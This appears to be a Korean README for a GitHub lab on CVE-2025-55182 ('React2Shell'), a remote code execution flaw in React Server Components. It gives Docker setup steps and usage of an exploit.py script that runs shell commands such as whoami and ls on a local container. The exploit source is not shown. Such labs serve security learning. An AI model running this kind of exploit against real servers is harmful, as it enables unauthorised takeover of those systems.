dhananjayakumarn/cve-2025-55182-labCVE-2025-55182(React2Shell)를 이해하고 악용하기 위한 실습형 랩 - React Server Components의 원격 코드 실행
CVE-2025-55182(React2Shell) 악용 실습 랩 - React Server Components의 원격 코드 실행(RCE).
교육 목적으로만 사용하세요. 자신이 소유한 시스템에서만 테스트하세요.
# Clone and start
git clone https://github.com/dhananjayakumarn/CVE-2025-55182-Lab.git
cd CVE-2025-55182-Lab
docker-compose up -d
# Wait 20 seconds, then exploit
python3 exploit.py http://localhost:3000 "whoami"
끝입니다! 명령 출력이 보이면 RCE가 성공한 것입니다.
React Server Components의 치명적인 RCE 취약점 (CVSS 10.0).
영향 범위:
영향: HTTP 요청 1개 = 서버 전체 제어
python3 exploit.py <target> <command>
# Examples
python3 exploit.py http://localhost:3000 "whoami"
python3 exploit.py http://localhost:3000 "id"
python3 exploit.py http://localhost:3000 "ls -la"
docker-compose down
⭐ 학습에 도움이 되었다면 Star를 눌러주세요!